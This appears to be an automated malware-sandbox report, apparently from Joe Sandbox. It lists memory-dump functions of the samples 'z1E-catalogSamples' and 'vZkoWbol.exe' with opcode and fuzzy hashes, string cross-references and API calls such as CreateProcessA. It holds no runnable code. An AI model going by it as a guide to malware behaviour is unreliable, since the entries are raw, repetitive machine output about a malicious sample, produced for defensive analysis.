Function 0151D20C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4525461392.000000000151D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0151D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_151d000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85d5e77f0d2e744da5ec35d8502d1251a297a1cb6ccac3ab98da9b27d331790a
Instruction ID: 852a5fa112b30cc419cd7055be34d11ae5187ed7040bf84091e67eacbb9f2f2e
Opcode Fuzzy Hash: 85d5e77f0d2e744da5ec35d8502d1251a297a1cb6ccac3ab98da9b27d331790a
Instruction Fuzzy Hash: 90214671504244DFEB02CF98D5C8F6ABBB5FB84330F20CA69D8290F24AC37AD406CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0151D3BC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4525461392.000000000151D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0151D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_151d000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3edff98bd682e96076d81bf1553b6160240a9566396bf36f2c3cc4a567184eed
Instruction ID: 743872a1cacdf2e19fcd1d0048e2ada3edecde894684c5d5188d3baa5fee3385
Opcode Fuzzy Hash: 3edff98bd682e96076d81bf1553b6160240a9566396bf36f2c3cc4a567184eed
Instruction Fuzzy Hash: 64212575540204DFEB06DF58D5C8B26BBB5FB84314F20C96DD9090F25AC3BAE446CA61

Uniqueness

Uniqueness Score: -1.00%

Function 06CE6CF8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8ae9fc9a16d26b04e03bd1e462ee316a22a91ae6dae93f8158f034b0aef753b
Instruction ID: 681e07e3009e126c78f9860eda191eb7f087165f54635249780c3681cab4fc87
Opcode Fuzzy Hash: f8ae9fc9a16d26b04e03bd1e462ee316a22a91ae6dae93f8158f034b0aef753b
Instruction Fuzzy Hash: 3A21DF30B100199FDF84DB69E89469EB7F6EB84310F608439D405EB381DB31EE428B91

Uniqueness

Uniqueness Score: -1.00%

Function 06CE3070 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec028d2ba09d3bea00953be4d7cf66d95eb8c0fab3874811a92f993ad8e80493
Instruction ID: 616766bb116f634f8785a0d4b60743e15807e93f5dcff796600600f27285b63b
Opcode Fuzzy Hash: ec028d2ba09d3bea00953be4d7cf66d95eb8c0fab3874811a92f993ad8e80493
Instruction Fuzzy Hash: 43119070E002599FCBA8DB69D8805DEB7F5EB89310F10856AD009EB340DA31EA45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06CE3BD0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbac552e89e8a0d89cdc8f7ff3da50a1e04d6d73a949b67b023e77c60eff9c66
Instruction ID: 23e2d2fe16d428c40158090b49d067acb4fb55b76e72ec7e3e229badc6aab8d6
Opcode Fuzzy Hash: cbac552e89e8a0d89cdc8f7ff3da50a1e04d6d73a949b67b023e77c60eff9c66
Instruction Fuzzy Hash: FC11A531B001258BDB449668DC146AF73FAEBC8610F018139C40AE7344EE29EC0287D1

Uniqueness

Uniqueness Score: -1.00%

Function 06CE4210 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e7403cd9e7b5580e01587aa6d009f3f04a83aad83994cf6ec6f944462424470
Instruction ID: c4fcb5bbb058b80e7cec481dba88772507b32ee4ba3dfbb33414381e5514615c
Opcode Fuzzy Hash: 1e7403cd9e7b5580e01587aa6d009f3f04a83aad83994cf6ec6f944462424470
Instruction Fuzzy Hash: DC01F531B102114FDB5A86BCD81876A6BEADBC6211F14882EE40ECB351DD69CD024391

Uniqueness

Uniqueness Score: -1.00%

Function 06CEED69 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c82b661cad18c56e9e411d587f0366971b48bcf89dee0609b59e820fe0538edb
Instruction ID: 0902408bf0238ce02d7d0bbd57ef1ad2cf53d30d6b7cddd6efd06c43aa1f9cb1
Opcode Fuzzy Hash: c82b661cad18c56e9e411d587f0366971b48bcf89dee0609b59e820fe0538edb
Instruction Fuzzy Hash: 8901DF39B100110BDB66C67C9859B6E6BEADBCA650F14882AE00ACB351DE24CE068391

Uniqueness

Uniqueness Score: -1.00%

Function 06CE3888 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d78a710c4a8eab24abeb22c6d398b1a9ad4629b5055c03677eae69fdb163adfe
Instruction ID: 24b096078997e42d776c22562c4fac8321e1aef6a61691a616ae66202864ba92
Opcode Fuzzy Hash: d78a710c4a8eab24abeb22c6d398b1a9ad4629b5055c03677eae69fdb163adfe
Instruction Fuzzy Hash: 2321EEB5D01259ABCB00DF9AD985ADEFFB8FF09310F10812AE518B3201C378A554CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0151D207 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4525461392.000000000151D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0151D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_151d000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction ID: b3e2adcd35565cdf86d236bbfd80bf370acfa433b80b8e060bcb935593dd5b30
Opcode Fuzzy Hash: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction Fuzzy Hash: 89119076504284CFEB12CF54D5C8B59BF71FB84224F24C6A9D8594B656C33AD40ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 0151D3B7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4525461392.000000000151D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0151D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_151d000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 44019680fcf89174c2ad486cb91182e4478e284e27190ac58322e467b684c040
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 1211D075544240CFDB06CF54D5C8B59BF71FB44314F24C6A9D8494F256C3BAE40ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06CEA2E7 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebdb0ac941d15faf06608f11629c70a01a5031f70c51434464c393f5e3d63f39
Instruction ID: fa89f42f34300f0c1f67e71afcd04691f22975fd8279a35acee1d52bceae22c7
Opcode Fuzzy Hash: ebdb0ac941d15faf06608f11629c70a01a5031f70c51434464c393f5e3d63f39
Instruction Fuzzy Hash: 8701F730B001154FDB51EABCE86476E7BE6EB8A714F10882CE10AC7365EA29ED028781

Uniqueness

Uniqueness Score: -1.00%

Function 06CE3890 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eb71488d2c1a9f761427410a644e7d2a83cdd923be75a4817d492d3d14aa83d
Instruction ID: ec3606fed9b49e87e58da3fd57f32aca1c85a19746506c5ca102e928ac97eeb5
Opcode Fuzzy Hash: 3eb71488d2c1a9f761427410a644e7d2a83cdd923be75a4817d492d3d14aa83d
Instruction Fuzzy Hash: 7211A2B5D01259AFCB00DF9AD884ADEFFB8FB49310F50812AE518A7341C379A554CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06CE4220 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a836d9997fa098bc8e80727b93d3eb38de543b6c6c37eff2840680ca8f51d3c3
Instruction ID: 6a13bd2b1ce9542875dd3f842a8367dbf6d927fd4e6d0b801e0ec62333b81f2d
Opcode Fuzzy Hash: a836d9997fa098bc8e80727b93d3eb38de543b6c6c37eff2840680ca8f51d3c3
Instruction Fuzzy Hash: 5A01AD31B101114BDB69DABDE818B2BA7EAEBCA611F10C43DE10ECB350DE65DD424381

Uniqueness

Uniqueness Score: -1.00%

Function 06CE3BBF Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4aa8b6004e3e8f92ac5a7eca469476e4a7a909616833de7f4e319c3176fae80
Instruction ID: 2d06fe00edbe5c3ed466cd104ad35c41a6dfba1507e780d8ad2f5c5e2ec4f26d
Opcode Fuzzy Hash: a4aa8b6004e3e8f92ac5a7eca469476e4a7a909616833de7f4e319c3176fae80
Instruction Fuzzy Hash: 2F01D432F141659BDB44966DDC146AF77FAABC8710F05413ED40AD7284EE65EC0287D2

Uniqueness

Uniqueness Score: -1.00%

Function 06CEED78 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4127d64c055782a01917ee5662a237e43eecae5c6c94b6bbdafcdca28dfabe28
Instruction ID: 4271f2b19dba14c12420ed6c059b9037e25d3d6f9dc8f64f6ab53074bf3dee8b
Opcode Fuzzy Hash: 4127d64c055782a01917ee5662a237e43eecae5c6c94b6bbdafcdca28dfabe28
Instruction Fuzzy Hash: 5201AF39B100151BDB65D67DE858B2E67EADBCEA60F10883DE10ECB350DE25DE0283D1

Uniqueness

Uniqueness Score: -1.00%

Function 06CEAF03 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c3e8a9d147483a2205dd60177ee7f309a732f389903fe3f4193c67bec1c8577
Instruction ID: a7fce43d4aae131556045f33a39c15b7a70a4f1df1c25c5536323851ecdeff03
Opcode Fuzzy Hash: 3c3e8a9d147483a2205dd60177ee7f309a732f389903fe3f4193c67bec1c8577
Instruction Fuzzy Hash: 4701D172E102199FDF64DBA8D844B9EBBB8EB85324F10453EE409DB244D639D945C7C1

Uniqueness

Uniqueness Score: -1.00%

Function 06CEA2F8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a958417bcbae2d1467fbcadd2f7f249b908d49a9d33d51f2b4ba8e58a4a94cc9
Instruction ID: ac1b3ad97b8704eae0fff8837416b7523ebd805d1e68a7362d71b6e41ed28d5a
Opcode Fuzzy Hash: a958417bcbae2d1467fbcadd2f7f249b908d49a9d33d51f2b4ba8e58a4a94cc9
Instruction Fuzzy Hash: B101A430B001154FDB51EABDE854B2E77EAEB8A714F10843CE50AC7365EE25ED428781

Uniqueness

Uniqueness Score: -1.00%

Function 06CEC9E1 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 233ef7542c7e91443c4238a6a44d27ac8df35a06e04cd0bcb54169f12dd2ae59
Instruction ID: dc1a50b99a7656f25dbaf476162342919e60ff1b50b485de9d0cb0386b070b8a
Opcode Fuzzy Hash: 233ef7542c7e91443c4238a6a44d27ac8df35a06e04cd0bcb54169f12dd2ae59
Instruction Fuzzy Hash: 67F04632F600558BDB218A3CC884799B7B5DF49334F11477EE5BAE73E0CA20C8028391

Uniqueness

Uniqueness Score: -1.00%

Function 06CEC7B8 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bae531756504ba5d76d4337339266944e47469781dae7bd7f467a5915941cbeb
Instruction ID: 1ce3f801f52d80bef6dc30200227ce97d9c174493fe506e836f31424f712ad41
Opcode Fuzzy Hash: bae531756504ba5d76d4337339266944e47469781dae7bd7f467a5915941cbeb
Instruction Fuzzy Hash: F4F0E532F212389BDB24AA69EC04AEBB77BF784354F004439ED11E7340DA32AD0087C0

Uniqueness

Uniqueness Score: -1.00%

Function 06CE6448 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c32bc03f31214810b59657bf660f390b0de53f0525a3d38f16bd6d8520c1ebf
Instruction ID: 18511bb461b957b5e18591b53de9c1b8abfc427bdcec756bcf8dfbd8c19f2797
Opcode Fuzzy Hash: 1c32bc03f31214810b59657bf660f390b0de53f0525a3d38f16bd6d8520c1ebf
Instruction Fuzzy Hash: 2EE0D8B1D292848FDF51CAB0DA5535ABBB49B12204F2048EBC048CB252E136DF06C741

Uniqueness

Uniqueness Score: -1.00%

Function 06CE6458 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 604deb8ac8316e1a2549d17bc2bbcb37151591c3c2cc2948e4ad95f0588c405b
Instruction ID: d02d7ae5f84781cdca22d80ca7d57cb0b1f21992275e5f0d63d27fc1d320330e
Opcode Fuzzy Hash: 604deb8ac8316e1a2549d17bc2bbcb37151591c3c2cc2948e4ad95f0588c405b
Instruction Fuzzy Hash: C0E012B1E2424CABDF60DEB5D95575EB7BDD711254F2085AAD408C7201E176EF019B80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 06CE7680 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$]q, xrefs: 06CE7BFD
$]q, xrefs: 06CE7C09
$]q, xrefs: 06CE77C8
$]q, xrefs: 06CE7797
$]q, xrefs: 06CE778B
$]q, xrefs: 06CE77BC
$]q, xrefs: 06CE7B48
$]q, xrefs: 06CE7BE7
$]q, xrefs: 06CE7B54
$]q, xrefs: 06CE7BF3

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-2843079600
Opcode ID: 4f341a93167296644d73d12b799b1a3d95772f27eb26b48418f27a3aa447983a
Instruction ID: 0b554550fe90565bbb5b7428c330afff1582a538523a535599a8fad4fa2d8d3a
Opcode Fuzzy Hash: 4f341a93167296644d73d12b799b1a3d95772f27eb26b48418f27a3aa447983a
Instruction Fuzzy Hash: E8123B30F012198FDB68DF69D994A9DB7F6FF88304F208969D409AB264DB349E41CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06CEA920 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$]q, xrefs: 06CEAA16
$]q, xrefs: 06CEAA7D
$]q, xrefs: 06CEAA71
$]q, xrefs: 06CEAADE
$]q, xrefs: 06CEAA9C
$]q, xrefs: 06CEAAA8
$]q, xrefs: 06CEAA22
$]q, xrefs: 06CEAAD2

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: 7c4c649965b74abdd98e74ffe9165c347b7893d4738cd709ac18fd696674f156
Instruction ID: e89d0a28f65588a125b6c24f9d5a29b270065453cc5d3dd303d9ce25d25e4394
Opcode Fuzzy Hash: 7c4c649965b74abdd98e74ffe9165c347b7893d4738cd709ac18fd696674f156
Instruction Fuzzy Hash: 09914030F40209DFDB68DFA9D694BAEBBF6EF84700F108529D8019B294DB799D45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06CE7080 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$]q, xrefs: 06CE73BC
$]q, xrefs: 06CE7588
$]q, xrefs: 06CE7362
$]q, xrefs: 06CE73C8
.5uq, xrefs: 06CE70DB
$]q, xrefs: 06CE7594
$]q, xrefs: 06CE751C

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID: .5uq$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-981061697
Opcode ID: bcd441ffa5f60f0b7451ab6f6ad3a0c4e5537ca236cb0a4036591b6b68e0aa32
Instruction ID: 64e942626e8beb2adc9c1892d978537335914d23f577aeeb4d417d9cc0443ebb
Opcode Fuzzy Hash: bcd441ffa5f60f0b7451ab6f6ad3a0c4e5537ca236cb0a4036591b6b68e0aa32
Instruction Fuzzy Hash: 6AF17D30B01209CFDB58DFA8D594A6EBBB6FF84304F208568D8059B3A4CB35ED42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06CEB9E8 Relevance: 7.7, Strings: 6, Instructions: 197COMMON

Download Yara Rule

Strings

$]q, xrefs: 06CEBBF5
$]q, xrefs: 06CEBB81
$]q, xrefs: 06CEBBE9
$]q, xrefs: 06CEBBB5
$]q, xrefs: 06CEBB8D
$]q, xrefs: 06CEBBC1

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: 1761e85f4e4de71fc016c99b94916aa5470f13fccc451c7ea79bcb3c80fe9c6a
Instruction ID: 3729f4994fccbdf89b0fa0e5ac9481bc71c8b2cfd3dbb0635550392ff023a8d2
Opcode Fuzzy Hash: 1761e85f4e4de71fc016c99b94916aa5470f13fccc451c7ea79bcb3c80fe9c6a
Instruction Fuzzy Hash: 00719130F102098FDB68DFA9DA90A6DB7F6FF84304F108569D405EB254DB759D46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06CE83B8 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$]q, xrefs: 06CE861E
$]q, xrefs: 06CE8677
$]q, xrefs: 06CE8683
$]q, xrefs: 06CE8612

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 08e3a2c3e8724bef7e02b7b84f7b2a1ab6a7eb789313d19ee68b6a81643140c1
Instruction ID: 13d789c920e100fef6c1bbf790ee3bfac1755fc639434389b7915c8d05ab47ba
Opcode Fuzzy Hash: 08e3a2c3e8724bef7e02b7b84f7b2a1ab6a7eb789313d19ee68b6a81643140c1
Instruction Fuzzy Hash: BAB12834B122098FDB54DFA9D5946AEB7B6FF84300F248829D406EB395DB75DD82CB80

Uniqueness

Uniqueness Score: -1.00%

Function 06CE87D0 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

LR]q, xrefs: 06CE88C3
LR]q, xrefs: 06CE8912
$]q, xrefs: 06CE884F
$]q, xrefs: 06CE885B

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID: LR]q$LR]q$$]q$$]q
API String ID: 0-3527005858
Opcode ID: 6560b6b7d7d3ad871b084fd3b3138395ec96318ae75e90b5b44c04099665dc4d
Instruction ID: e20780d0ad1fb62c8827687f1ff72d4b1dd70667081c24b0ce4fc7bee36afc59
Opcode Fuzzy Hash: 6560b6b7d7d3ad871b084fd3b3138395ec96318ae75e90b5b44c04099665dc4d
Instruction Fuzzy Hash: AE51B130B012069FDB59DF69D954A6AB7F6FF84300F10856DD4069B3A5DB34EC41CB91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vZkoWbol.exePID: 6460, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	15.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	174
Total number of Limit Nodes:	6

Executed Functions

Function 0663AB8C Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2142874719.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6630000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc2313e38393c3c374da0e4e7f2dee90b7afae7160e7aeb02920eaac091b7726
Instruction ID: 94dadf93759ffbc0df1c692d30d12e231d1313ad66f7cfb3faaa967190631b61
Opcode Fuzzy Hash: cc2313e38393c3c374da0e4e7f2dee90b7afae7160e7aeb02920eaac091b7726
Instruction Fuzzy Hash: 05D09E3894F228CFE780DF55DA949F8B7FDAB1F310F007059944AE3252D7309995EA84

Uniqueness

Uniqueness Score: -1.00%

Function 066375E0 Relevance: 1.7, APIs: 1, Instructions: 244
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0663781E

Memory Dump Source

Source File: 00000007.00000002.2142874719.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6630000_vZkoWbol.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 805e7765865d35fdc904fbffbcf47fdeaa3c32bacf0bff8ad927adea2855e7f6
Instruction ID: 393e2cb73c34fadbad9e96981fa1ddec8dab99ded146391e6df7dcb6abc2d1d4
Opcode Fuzzy Hash: 805e7765865d35fdc904fbffbcf47fdeaa3c32bacf0bff8ad927adea2855e7f6
Instruction Fuzzy Hash: D7916BB1D00229DFDB64DF69C840BEEBBB2FF45310F14856AE818A7240DB749985CF95

Uniqueness

Uniqueness Score: -1.00%

Function 066375E8 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0663781E

Memory Dump Source

Source File: 00000007.00000002.2142874719.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6630000_vZkoWbol.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 06d0a8f473b86be98beda980745af9c12518d555ee23e6d4308ed0d77c473a77
Instruction ID: 961046c58d44f2d08ec09f908d99015ce67bd51a1f2bfd689ad940b1b23f3167
Opcode Fuzzy Hash: 06d0a8f473b86be98beda980745af9c12518d555ee23e6d4308ed0d77c473a77
Instruction Fuzzy Hash: 4C917BB1D00229DFDB64DF69C840BEEBBB2FF49310F14856AE818A7240DB749985CF95

Uniqueness

Uniqueness Score: -1.00%

Function 031249DC Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 03125EF1

Memory Dump Source

Source File: 00000007.00000002.2139255628.0000000003120000.00000040.00000800.00020000.00000000.sdmp, Offset: 03120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3120000_vZkoWbol.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 5ab5d17c6b1f7d4980f50c2ed1a000f83168f8059fbb9e507f2fde19fc997cc1
Instruction ID: e053a8a61bb40804ae8a1070f4d59e922dd186dfb52e334d2393f243350feee5
Opcode Fuzzy Hash: 5ab5d17c6b1f7d4980f50c2ed1a000f83168f8059fbb9e507f2fde19fc997cc1
Instruction Fuzzy Hash: 3B41E2B0C0062DCBDB24CFA9C884B9DFBB6BF49304F24806AD419AB255DB756945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 03125E34 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 03125EF1

Memory Dump Source

Source File: 00000007.00000002.2139255628.0000000003120000.00000040.00000800.00020000.00000000.sdmp, Offset: 03120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3120000_vZkoWbol.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 42b76eec3510475b9d6a61a9206b69c6fa5201249fe89dc6693629bcf7508bc8
